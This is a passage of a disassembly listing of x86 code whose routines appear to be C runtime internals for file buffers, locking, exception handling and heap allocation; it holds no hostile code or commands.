mov eax, [ebp+arg_0]
push eax
call sub_41B730
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429A50
add esp, 4
mov eax, [ebp+var_4]
loc_41B726: ; CODE XREF: sub_41B6B0+4Aj
mov esp, ebp
pop ebp
retn
sub_41B6B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B730 proc near ; CODE XREF: sub_41B6B0+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_429840
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41B783
cmp [ebp+arg_0], 1
jz short loc_41B752
cmp [ebp+arg_0], 2
jnz short loc_41B76C
loc_41B752: ; CODE XREF: sub_41B730+1Aj
push 1
call sub_429840
add esp, 4
mov esi, eax
push 2
call sub_429840
add esp, 4
cmp esi, eax
jz short loc_41B783
loc_41B76C: ; CODE XREF: sub_41B730+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_429840
add esp, 4
push eax
call dword_4E032C ; CloseHandle
test eax, eax
jz short loc_41B78C
loc_41B783: ; CODE XREF: sub_41B730+14j
; sub_41B730+3Aj
mov [ebp+var_4], 0
jmp short loc_41B795
; ---------------------------------------------------------------------------
loc_41B78C: ; CODE XREF: sub_41B730+51j
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
loc_41B795: ; CODE XREF: sub_41B730+5Aj
mov edx, [ebp+arg_0]
push edx
call sub_429760
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_41B7D3
mov eax, [ebp+var_4]
push eax
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41B7D5
; ---------------------------------------------------------------------------
loc_41B7D3: ; CODE XREF: sub_41B730+90j
xor eax, eax
loc_41B7D5: ; CODE XREF: sub_41B730+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_41B730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7E0 proc near ; CODE XREF: sub_414FD0+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_41B7E6: ; CODE XREF: sub_41B7E0+2Ej
cmp [ebp+arg_0], 0
jnz short loc_41B80A
push offset dword_43449C
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41B80A
int 3 ; Trap to Debugger
loc_41B80A: ; CODE XREF: sub_41B7E0+Aj
; sub_41B7E0+27j
xor eax, eax
test eax, eax
jnz short loc_41B7E6
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_41B86D
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_41B86D
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_415C60
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_41B86D: ; CODE XREF: sub_41B7E0+3Ej
; sub_41B7E0+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41B7E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_41B896
push 0
call sub_41B9F0
add esp, 4
jmp short loc_41B8C0
; ---------------------------------------------------------------------------
loc_41B896: ; CODE XREF: .data:0041B888j
mov eax, [ebp+8]
push eax
call sub_41AE20
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_41B8D0
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_41AE90
add esp, 4
mov eax, [ebp-4]
loc_41B8C0: ; CODE XREF: .data:0041B894j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8D0 proc near ; CODE XREF: .data:0041B8A6p
; sub_41B9F0+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41B920
add esp, 4
test eax, eax
jz short loc_41B8E8
or eax, 0FFFFFFFFh
jmp short loc_41B90F
; ---------------------------------------------------------------------------
loc_41B8E8: ; CODE XREF: sub_41B8D0+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_41B90D
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_429A80
add esp, 4
neg eax
sbb eax, eax
jmp short loc_41B90F
; ---------------------------------------------------------------------------
loc_41B90D: ; CODE XREF: sub_41B8D0+26j
xor eax, eax
loc_41B90F: ; CODE XREF: sub_41B8D0+16j
; sub_41B8D0+3Bj
pop ebp
retn
sub_41B8D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B920 proc near ; CODE XREF: sub_414FD0+53p
; sub_41A040+A2p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_41B9BB
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_41B9BB
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_41B9BB
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_426840
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_41B9A5
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41B9A3
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_41B9A3: ; CODE XREF: sub_41B920+72j
jmp short loc_41B9BB
; ---------------------------------------------------------------------------
loc_41B9A5: ; CODE XREF: sub_41B920+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_41B9BB: ; CODE XREF: sub_41B920+1Fj
; sub_41B920+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9E0 proc near ; CODE XREF: sub_41AE00+3p
push ebp
mov ebp, esp
push 1
call sub_41B9F0
add esp, 4
pop ebp
retn
sub_41B9E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9F0 proc near ; CODE XREF: .data:0041B88Cp
; sub_41B9E0+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_41BC80
add esp, 4
mov [ebp+var_C], 0
jmp short loc_41BA20
; ---------------------------------------------------------------------------
loc_41BA17: ; CODE XREF: sub_41B9F0:loc_41BB0Ej
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_41BA20: ; CODE XREF: sub_41B9F0+25j
mov ecx, [ebp+var_C]
cmp ecx, dword_4DF680
jge loc_41BB13
mov edx, [ebp+var_C]
mov eax, dword_4DE674
cmp dword ptr [eax+edx*4], 0
jz loc_41BB0E
mov ecx, [ebp+var_C]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_41BB0E
mov edx, [ebp+var_C]
mov eax, dword_4DE674
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_41AE60
add esp, 8
mov eax, [ebp+var_C]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41BAF5
cmp [ebp+arg_0], 1
jnz short loc_41BAB9
mov ecx, [ebp+var_C]
mov edx, dword_4DE674
mov eax, [edx+ecx*4]
push eax
call sub_41B8D0
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41BAB7
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_41BAB7: ; CODE XREF: sub_41B9F0+BCj
jmp short loc_41BAF5
; ---------------------------------------------------------------------------
loc_41BAB9: ; CODE XREF: sub_41B9F0+A2j
cmp [ebp+arg_0], 0
jnz short loc_41BAF5
mov edx, [ebp+var_C]
mov eax, dword_4DE674
mov ecx, [eax+edx*4]
mov edx, [ecx+0Ch]
and edx, 2
test edx, edx
jz short loc_41BAF5
mov eax, [ebp+var_C]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
push edx
call sub_41B8D0
add esp, 4
cmp eax, 0FFFFFFFFh
jnz short loc_41BAF5
mov [ebp+var_8], 0FFFFFFFFh
loc_41BAF5: ; CODE XREF: sub_41B9F0+9Cj
; sub_41B9F0:loc_41BAB7j ...
mov eax, [ebp+var_C]
mov ecx, dword_4DE674
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41AED0
add esp, 8
loc_41BB0E: ; CODE XREF: sub_41B9F0+4Bj
; sub_41B9F0+68j
jmp loc_41BA17
; ---------------------------------------------------------------------------
loc_41BB13: ; CODE XREF: sub_41B9F0+39j
push 2
call sub_41BD20
add esp, 4
cmp [ebp+arg_0], 1
jnz short loc_41BB28
mov eax, [ebp+var_4]
jmp short loc_41BB2B
; ---------------------------------------------------------------------------
loc_41BB28: ; CODE XREF: sub_41B9F0+131j
mov eax, [ebp+var_8]
loc_41BB2B: ; CODE XREF: sub_41B9F0+136j
mov esp, ebp
pop ebp
retn
sub_41B9F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41BC80
add esp, 4
mov eax, dword_4DDFE8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DDFE8, ecx
push 9
call sub_41BD20
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, dword_4DDFE8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB70 proc near ; CODE XREF: sub_415110+7Dp
; sub_41BE60+41p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DDFE8
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41BB90
mov ecx, [ebp+arg_0]
push ecx
call [ebp+var_4]
add esp, 4
test eax, eax
jnz short loc_41BB94
loc_41BB90: ; CODE XREF: sub_41BB70+10j
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB94: ; CODE XREF: sub_41BB70+1Ej
mov eax, 1
loc_41BB99: ; CODE XREF: sub_41BB70+22j
mov esp, ebp
pop ebp
retn
sub_41BB70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBA0 proc near ; CODE XREF: sub_421840+4p
push ebp
mov ebp, esp
mov eax, off_4451C4
push eax
call dword_4E0470 ; InitializeCriticalSection
mov ecx, off_4451B4
push ecx
call dword_4E0470 ; InitializeCriticalSection
mov edx, off_4451A4
push edx
call dword_4E0470 ; InitializeCriticalSection
mov eax, off_445184
push eax
call dword_4E0470 ; InitializeCriticalSection
pop ebp
retn
sub_41BBA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE0 proc near ; CODE XREF: .data:004218D3p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_41BBF6
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBE0:loc_41BC47j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41BBF6: ; CODE XREF: sub_41BBE0+Bj
cmp [ebp+var_4], 30h
jge short loc_41BC49
mov ecx, [ebp+var_4]
cmp dword_445180[ecx*4], 0
jz short loc_41BC47
cmp [ebp+var_4], 11h
jz short loc_41BC47
cmp [ebp+var_4], 0Dh
jz short loc_41BC47
cmp [ebp+var_4], 9
jz short loc_41BC47
cmp [ebp+var_4], 1
jz short loc_41BC47
mov edx, [ebp+var_4]
mov eax, dword_445180[edx*4]
push eax
call dword_4E03B0 ; RtlDeleteCriticalSection
push 2
mov ecx, [ebp+var_4]
mov edx, dword_445180[ecx*4]
push edx
call sub_415C60
add esp, 8
loc_41BC47: ; CODE XREF: sub_41BBE0+27j
; sub_41BBE0+2Dj ...
jmp short loc_41BBED
; ---------------------------------------------------------------------------
loc_41BC49: ; CODE XREF: sub_41BBE0+1Aj
mov eax, off_4451A4
push eax
call dword_4E03B0 ; RtlDeleteCriticalSection
mov ecx, off_4451B4
push ecx
call dword_4E03B0 ; RtlDeleteCriticalSection
mov edx, off_4451C4
push edx
call dword_4E03B0 ; RtlDeleteCriticalSection
mov eax, off_445184
push eax
call dword_4E03B0 ; RtlDeleteCriticalSection
mov esp, ebp
pop ebp
retn
sub_41BBE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC80 proc near ; CODE XREF: sub_415110+25p
; sub_4155B0+25p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword_445180[eax*4], 0
jnz short loc_41BD02
push 0E1h
push offset aMlock_c ; "mlock.c"
push 2
push 18h
call sub_4150C0
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41BCBA
push 11h
call sub_41AC70
add esp, 4
loc_41BCBA: ; CODE XREF: sub_41BC80+2Ej
push 11h
call sub_41BC80
add esp, 4
mov ecx, [ebp+arg_0]
cmp dword_445180[ecx*4], 0
jnz short loc_41BCEA
mov edx, [ebp+var_4]
push edx
call dword_4E0470 ; InitializeCriticalSection
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_445180[eax*4], ecx
jmp short loc_41BCF8
; ---------------------------------------------------------------------------
loc_41BCEA: ; CODE XREF: sub_41BC80+4Fj
push 2
mov edx, [ebp+var_4]
push edx
call sub_415C60
add esp, 8
loc_41BCF8: ; CODE XREF: sub_41BC80+68j
push 11h
call sub_41BD20
add esp, 4
loc_41BD02: ; CODE XREF: sub_41BC80+Fj
mov eax, [ebp+arg_0]
mov ecx, dword_445180[eax*4]
push ecx
call dword_4E03A8 ; RtlEnterCriticalSection
mov esp, ebp
pop ebp
retn
sub_41BC80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD20 proc near ; CODE XREF: sub_41516D+2p
; sub_415613+2p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_445180[eax*4]
push ecx
call dword_4E03A4 ; RtlLeaveCriticalSection
pop ebp
retn
sub_41BD20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
push 0
call dword_4E0474 ; FatalAppExitA
push 0FFh
call dword_4E0328 ; ExitProcess
pop ebp
retn
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BD64 proc near ; DATA XREF: sub_415110+Ao
; sub_4155B0+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41BE04
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41BD97: ; CODE XREF: sub_41BD64+90j
cmp esi, 0FFFFFFFFh
jz short loc_41BDFD
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41BDEB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41BDEB
js short loc_41BDF6
mov edi, [ebx+8]
push ebx
call sub_4190F0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_419132
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_4191C6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41BDEB: ; CODE XREF: sub_41BD64+40j
; sub_41BD64+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41BD97
; ---------------------------------------------------------------------------
loc_41BDF6: ; CODE XREF: sub_41BD64+54j
mov eax, 0
jmp short loc_41BE19
; ---------------------------------------------------------------------------
loc_41BDFD: ; CODE XREF: sub_41BD64+36j
mov eax, 1
jmp short loc_41BE19
; ---------------------------------------------------------------------------
loc_41BE04: ; CODE XREF: sub_41BD64+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_419132
add esp, 8
pop ebp
mov eax, 1
loc_41BE19: ; CODE XREF: sub_41BD64+97j
; sub_41BD64+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BD64 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_419132
add esp, 8
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE40 proc near ; CODE XREF: sub_41C230+33p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DDFE4
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41BE60
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41BE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE60 proc near ; CODE XREF: sub_41BE40+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFE0h
jbe short loc_41BE6E
xor eax, eax
jmp short loc_41BEB3
; ---------------------------------------------------------------------------
loc_41BE6E: ; CODE XREF: sub_41BE60+8j
; sub_41BE60:loc_41BEB1j
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41BE85
mov eax, [ebp+arg_0]
push eax
call sub_41BEC0
add esp, 4
mov [ebp+var_4], eax
jmp short loc_41BE8C
; ---------------------------------------------------------------------------
loc_41BE85: ; CODE XREF: sub_41BE60+12j
mov [ebp+var_4], 0
loc_41BE8C: ; CODE XREF: sub_41BE60+23j
cmp [ebp+var_4], 0
jnz short loc_41BE98
cmp [ebp+arg_4], 0
jnz short loc_41BE9D
loc_41BE98: ; CODE XREF: sub_41BE60+30j
mov eax, [ebp+var_4]
jmp short loc_41BEB3
; ---------------------------------------------------------------------------
loc_41BE9D: ; CODE XREF: sub_41BE60+36j
mov ecx, [ebp+arg_0]
push ecx
call sub_41BB70
add esp, 4
test eax, eax
jnz short loc_41BEB1
xor eax, eax
jmp short loc_41BEB3
; ---------------------------------------------------------------------------
loc_41BEB1: ; CODE XREF: sub_41BE60+4Bj
jmp short loc_41BE6E
; ---------------------------------------------------------------------------
loc_41BEB3: ; CODE XREF: sub_41BE60+Cj
; sub_41BE60+3Bj ...
mov esp, ebp
pop ebp
retn
sub_41BE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BEC0 proc near ; CODE XREF: sub_4151D0+19Dp
; sub_41BE60+18p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041BF30 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0041BFB2 SIZE 0000005B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434FD0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
cmp dword_4DE64C, 3
jnz short loc_41BF43
mov eax, [ebp+arg_0]
cmp eax, dword_4DE66C
ja short loc_41BF3E
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
push ecx
call sub_41D190
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41BF25
jmp short loc_41BF30
sub_41BEC0 endp
; =============== S U B R O U T I N E =======================================
sub_41BF25 proc near ; CODE XREF: sub_41BEC0+5Ep
; DATA XREF: .data:00434FD8o
push 9
call sub_41BD20
add esp, 4
retn
sub_41BF25 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BEC0
loc_41BF30: ; CODE XREF: sub_41BEC0+63j
cmp [ebp+var_1C], 0
jz short loc_41BF3E
mov eax, [ebp+var_1C]
jmp loc_41BFFC
; ---------------------------------------------------------------------------
loc_41BF3E: ; CODE XREF: sub_41BEC0+35j
; sub_41BEC0+74j
jmp loc_41BFD1
; ---------------------------------------------------------------------------
loc_41BF43: ; CODE XREF: sub_41BEC0+2Aj
cmp dword_4DE64C, 2
jnz loc_41BFD1
cmp [ebp+arg_0], 0
jz short loc_41BF64
mov edx, [ebp+arg_0]
add edx, 0Fh
and edx, 0FFFFFFF0h
mov [ebp+arg_0], edx
jmp short loc_41BF6B
; ---------------------------------------------------------------------------
loc_41BF64: ; CODE XREF: sub_41BEC0+94j
mov [ebp+arg_0], 10h
loc_41BF6B: ; CODE XREF: sub_41BEC0+A2j
mov eax, [ebp+arg_0]
cmp eax, dword_44726C
ja short loc_41BFBD
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
mov ecx, [ebp+arg_0]
shr ecx, 4
push ecx
call sub_41EC10
add esp, 4
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41BFA7
jmp short loc_41BFB2
; END OF FUNCTION CHUNK FOR sub_41BEC0
; =============== S U B R O U T I N E =======================================
sub_41BFA7 proc near ; CODE XREF: sub_41BEC0+E0p
; DATA XREF: .data:00434FE4o
push 9
call sub_41BD20
add esp, 4
retn
sub_41BFA7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41BEC0
loc_41BFB2: ; CODE XREF: sub_41BEC0+E5j
cmp [ebp+var_1C], 0
jz short loc_41BFBD
mov eax, [ebp+var_1C]
jmp short loc_41BFFC
; ---------------------------------------------------------------------------
loc_41BFBD: ; CODE XREF: sub_41BEC0+B4j
; sub_41BEC0+F6j
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0478 ; RtlAllocateHeap
jmp short loc_41BFFC
; ---------------------------------------------------------------------------
loc_41BFD1: ; CODE XREF: sub_41BEC0:loc_41BF3Ej
; sub_41BEC0+8Aj
cmp [ebp+arg_0], 0
jnz short loc_41BFDE
mov [ebp+arg_0], 1
loc_41BFDE: ; CODE XREF: sub_41BEC0+115j
mov ecx, [ebp+arg_0]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0478 ; RtlAllocateHeap
loc_41BFFC: ; CODE XREF: sub_41BEC0+79j
; sub_41BEC0+FBj ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41BEC0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C010 proc near ; CODE XREF: sub_4151D0+79p
; sub_415640+C1p ...
push ebp
mov ebp, esp
mov eax, 1
pop ebp
retn
sub_41C010 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C020 proc near ; CODE XREF: sub_415640+2D4p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041C0CC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 0041C1C5 SIZE 00000068 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434FE8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0FFFFFFE0h
jbe short loc_41C050
xor eax, eax
jmp loc_41C21C
; ---------------------------------------------------------------------------
loc_41C050: ; CODE XREF: sub_41C020+27j
cmp dword_4DE64C, 3
jnz loc_41C108
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_41CAF0
add esp, 4
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_41C0B3
mov [ebp+var_1C], 0
mov ecx, [ebp+arg_4]
cmp ecx, dword_4DE66C
ja short loc_41C0B3
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_41D9D0
add esp, 0Ch
test eax, eax
jz short loc_41C0B3
mov edx, [ebp+arg_0]
mov [ebp+var_1C], edx
loc_41C0B3: ; CODE XREF: sub_41C020+61j
; sub_41C020+73j ...
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C0C1
jmp short loc_41C0CC
sub_41C020 endp
; =============== S U B R O U T I N E =======================================
sub_41C0C1 proc near ; CODE XREF: sub_41C020+9Ap
; DATA XREF: .data:00434FF0o
push 9
call sub_41BD20
add esp, 4
retn
sub_41C0C1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C020
loc_41C0CC: ; CODE XREF: sub_41C020+9Fj
cmp [ebp+var_20], 0
jnz short loc_41C103
cmp [ebp+arg_4], 0
jnz short loc_41C0DF
mov [ebp+arg_4], 1
loc_41C0DF: ; CODE XREF: sub_41C020+B6j
mov eax, [ebp+arg_4]
add eax, 0Fh
and al, 0F0h
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 10h
mov eax, dword_4DE648
push eax
call dword_4E047C ; RtlReAllocateHeap
mov [ebp+var_1C], eax
loc_41C103: ; CODE XREF: sub_41C020+B0j
jmp loc_41C219
; ---------------------------------------------------------------------------
loc_41C108: ; CODE XREF: sub_41C020+37j
cmp dword_4DE64C, 2
jnz loc_41C1E6
cmp [ebp+arg_4], 0
jnz short loc_41C122
mov [ebp+arg_4], 1
loc_41C122: ; CODE XREF: sub_41C020+F9j
mov ecx, [ebp+arg_4]
add ecx, 0Fh
and ecx, 0FFFFFFF0h
mov [ebp+arg_4], ecx
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
lea edx, [ebp+var_24]
push edx
lea eax, [ebp+var_2C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41EB10
add esp, 0Ch
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jz short loc_41C1AC
mov [ebp+var_1C], 0
mov edx, [ebp+arg_4]
cmp edx, dword_44726C
ja short loc_41C193
mov eax, [ebp+arg_4]
shr eax, 4
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+var_2C]
push eax
call sub_41F280
add esp, 10h
test eax, eax
jz short loc_41C193
mov ecx, [ebp+arg_0]
